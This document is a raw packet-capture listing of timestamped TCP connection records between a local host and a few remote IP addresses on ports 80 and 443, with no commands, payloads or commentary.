Nov 18, 2024 00:27:56.121623039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121634007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121639013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121644974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121654034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121655941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121669054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121689081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121701956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121756077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121767998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121784925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121797085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121805906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121809959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121819973 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121828079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121839046 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121850967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121851921 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121860981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121872902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.121881008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121895075 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.121922016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122036934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122049093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122060061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122078896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122081995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122090101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122101068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122109890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122114897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122127056 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122138977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122168064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122235060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122246981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122257948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122265100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122278929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122278929 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122284889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122298956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122314930 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122334957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122406006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122419119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122430086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122441053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122452974 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.122452974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122488022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.122509956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.161680937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.161693096 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.161704063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.161715984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.161859989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.161859989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.203442097 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.203622103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.203972101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.203983068 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.203998089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.204051018 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.204091072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.230184078 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.230194092 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.231599092 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.231940985 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.231987000 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.232072115 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.232072115 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.232595921 CET	50007	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.232601881 CET	443	50007	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.236540079 CET	50006	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.236567974 CET	443	50006	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.237628937 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.237644911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.237657070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.237668991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.237683058 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.237699986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.237719059 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.237752914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238017082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238028049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238039017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238049984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238060951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238061905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238073111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238078117 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238085985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238096952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238107920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238121033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238125086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238135099 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238136053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238148928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238152027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238164902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238174915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238182068 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238185883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238193035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238197088 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238209009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238220930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238230944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238243103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238255978 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238266945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238276958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238286972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238290071 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238296986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238307953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238317966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238328934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238338947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238338947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238341093 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238348961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238352060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238363981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238380909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238392115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238420963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238559961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238570929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238583088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238595963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238605976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238609076 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238620043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238631010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238636017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238645077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238653898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238667011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238687992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238696098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238698959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238704920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238709927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238720894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238725901 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238749981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238780975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238846064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238856077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238862991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238873005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238878965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238889933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238902092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238940001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238951921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238961935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238965988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.238974094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.238986015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239012957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239041090 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239186049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239197016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239207983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239224911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239233017 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239237070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239248037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239259005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239263058 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239269018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239279032 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239280939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239291906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239293098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239304066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239330053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239342928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239351034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239351988 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239352942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239366055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239371061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239404917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239415884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239523888 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239536047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239546061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239557028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239576101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239583015 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239588022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239599943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239603996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239643097 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239660025 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239670992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239681005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239691973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239702940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239715099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.239718914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239718914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239742994 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.239768028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.241245985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.241256952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.241266966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.241278887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.241286993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.241297007 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.241316080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.259016991 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.259049892 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.259531975 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.278650999 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.278667927 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.278923035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.278940916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.278954029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.278991938 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.279025078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.321058989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.321074009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.321147919 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.321325064 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.321360111 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.321454048 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.322438955 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.322455883 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.322952986 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.323019028 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.323087931 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.323302031 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.323334932 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.323383093 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.323823929 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.323863029 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.323983908 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.323993921 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.354652882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354665995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354676008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354707956 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.354732037 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.354743004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354756117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354785919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354799032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354801893 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.354834080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.354851007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354865074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354876995 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354887009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.354903936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.354912996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.354940891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355110884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355158091 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355174065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355178118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355190992 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355200052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355211020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355231047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355232954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355249882 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355256081 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355262041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355283976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355321884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355340958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355354071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355365038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355396986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355407000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355818987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355838060 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355858088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355859995 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355870008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355880976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355887890 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355895042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355906010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355907917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355918884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355930090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355937004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355937004 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355946064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355958939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355964899 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.355978012 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.355988979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356009960 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356009960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356017113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356023073 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356034040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356045961 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356048107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356069088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356082916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356089115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356112003 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356123924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356126070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356143951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356157064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356175900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356180906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356189966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356206894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356242895 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356259108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356271029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356281996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356295109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356307030 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356309891 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356328011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356347084 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356386900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356398106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356411934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356427908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356432915 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356441021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356447935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.356452942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.356467009 CET	80	49889	185.215.113.206	192.168.2.6
